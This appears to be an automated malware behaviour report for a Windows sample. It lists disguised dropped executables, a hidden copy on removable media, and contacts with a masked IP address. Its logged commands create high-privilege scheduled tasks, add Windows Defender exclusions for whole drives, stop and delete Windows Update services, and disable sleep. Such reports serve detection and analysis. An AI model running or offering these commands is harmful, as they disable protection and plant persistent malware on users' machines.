Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\conhost_remc
- <SYSTEM32>\tasks\wininit
- <SYSTEM32>\tasks\wininitw
- <SYSTEM32>\tasks\idlei
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\dwm
- <SYSTEM32>\tasks\dwmd
- <SYSTEM32>\tasks\8_ball_pool
- <SYSTEM32>\tasks\conhost_rem
- <SYSTEM32>\tasks\8_ball_pool8
- <SYSTEM32>\tasks\system
- <SYSTEM32>\tasks\csrssc
- <SYSTEM32>\tasks\systems
- <SYSTEM32>\tasks\mdm
- <SYSTEM32>\tasks\wudfhost
- <SYSTEM32>\tasks\mdmm
- <SYSTEM32>\tasks\wudfhostw
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\realtek
Creates the following files on removable media
- <Drive name for removable media>:\0ea53df77445bfbde349bd4eed09dae1.exe
Modifies file system
Creates the following files
- %APPDATA%\bl_fontreviewmonitordllrefsvc.exe
- C:\far2\addons\colors\custom_highlighting\8_ball_pool.exe
- C:\far2\addons\colors\custom_highlighting\db0090d8add07b
- %ProgramFiles(x86)%\microsoft analysis services\as oledb\10\cartridges\wininit.exe
- %ProgramFiles(x86)%\microsoft analysis services\as oledb\10\cartridges\56085415360792
- %ProgramFiles%\smath\8_ball_pool.exe
- %ProgramFiles%\smath\db0090d8add07b
- <Current directory>\dwm.exe
- <Current directory>\6cb0b6c459d5d3
- C:\totalcmd\language\6ccacd8608530f
- nul
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\dwm.exe
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\6cb0b6c459d5d3
- %WINDIR%\syswow64\printing_admin_scripts\en-us\wininit.exe
- %WINDIR%\syswow64\printing_admin_scripts\en-us\56085415360792
- C:\users\public\libraries\conhost_rem.exe
- C:\users\public\libraries\817712da12cb2c
- %TEMP%\qwhhplrnhe
- %TEMP%\elzej4sjef.bat
- %WINDIR%\help\windows\en-us\6ccacd8608530f
- C:\totalcmd\language\idle.exe
- %WINDIR%\help\windows\en-us\idle.exe
- <Current directory>\mdm.exe
- %APPDATA%\conhost_rem.exe
- %TEMP%\8_ball_pool.exe
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\lsm.exe
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\101b941d020240
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\101b941d020240
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\wudfhost.exe
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\480b7989c529f6
- <Current directory>\559fba5f8e4410
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\dwm.exe
- %ProgramFiles(x86)%\mozilla thunderbird\dictionaries\system.exe
- %ProgramFiles(x86)%\mozilla thunderbird\dictionaries\27d1bcfc3c54e0
- C:\users\default\favorites\csrss.exe
- C:\users\default\favorites\886983d96e3d3e
- <SYSTEM32>\wfp\8_ball_pool.exe
- <SYSTEM32>\wfp\db0090d8add07b
- C:\totalcmd\language\8_ball_pool.exe
- C:\totalcmd\language\db0090d8add07b
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\6cb0b6c459d5d3
- %ProgramFiles%\realtek\realtek high definition audio\updater.exe
Sets the 'hidden' attribute to the following files
- <Drive name for removable media>:\0ea53df77445bfbde349bd4eed09dae1.exe
Deletes the following files
- %TEMP%\qwhhplrnhe
Network activity
Connects to
- '18#.#20.229.5':80
- 'ip##fo.io':443
TCP
HTTP GET requests
- http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?qT########################################################################################################################################...
- http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?ow########################################################################################################################################...
Other
- 'ip##fo.io':443
UDP
- DNS ASK ip##fo.io
- 'localhost':123
Miscellaneous
Creates and executes the following
- '%APPDATA%\bl_fontreviewmonitordllrefsvc.exe'
- '%APPDATA%\conhost_rem.exe'
- '%TEMP%\8_ball_pool.exe'
- '%ProgramFiles%\smath\8_ball_pool.exe'
- '%ProgramFiles%\realtek\realtek high definition audio\updater.exe'
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\ELZeJ4sjEF.bat"' (with hidden window)
- '%ProgramFiles%\realtek\realtek high definition audio\updater.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\lsm.exe'" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\'
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_remc" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Libraries\conhost_rem.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_rem" /sc ONLOGON /tr "'C:\Users\Public\Libraries\conhost_rem.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_remc" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Libraries\conhost_rem.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'%WINDIR%\SysWOW64\Printing_Admin_Scripts\en-US\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%WINDIR%\SysWOW64\Printing_Admin_Scripts\en-US\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'%WINDIR%\SysWOW64\Printing_Admin_Scripts\en-US\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\totalcmd\LANGUAGE\Idle.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'%WINDIR%\Help\Windows\en-US\Idle.exe'" /f
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru System /tn Realtek /tr "'%ProgramFiles%\Realtek\Realtek High Definition Audio\Updater.exe'"
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'<Current directory>\dwm.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\ELZeJ4sjEF.bat"
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#wsjgde#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System...
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentContr...
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\smath\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'%ProgramFiles%\smath\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\smath\8_Ball_Pool.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Favorites\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\dictionaries\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\dictionaries\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\dictionaries\System.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 6 /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc ONLOGON /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#khxwt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /r...
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Favorites\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 11 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 7 /tr "'<Current directory>\mdm.exe'" /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 13 /tr "'<SYSTEM32>\wfp\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'<SYSTEM32>\wfp\8_Ball_Pool.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Cartridges\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Cartridges\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Cartridges\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'C:\Far2\Addons\Colors\Custom_Highlighting\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'C:\Far2\Addons\Colors\Custom_Highlighting\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 5 /tr "'C:\Far2\Addons\Colors\Custom_Highlighting\8_Ball_Pool.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'<SYSTEM32>\wfp\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'%WINDIR%\Help\Windows\en-US\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default\Favorites\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'C:\totalcmd\LANGUAGE\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\8_Ball_Pool.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\8_Ball_Pool.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'%WINDIR%\Help\Windows\en-US\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /run /tn Realtek
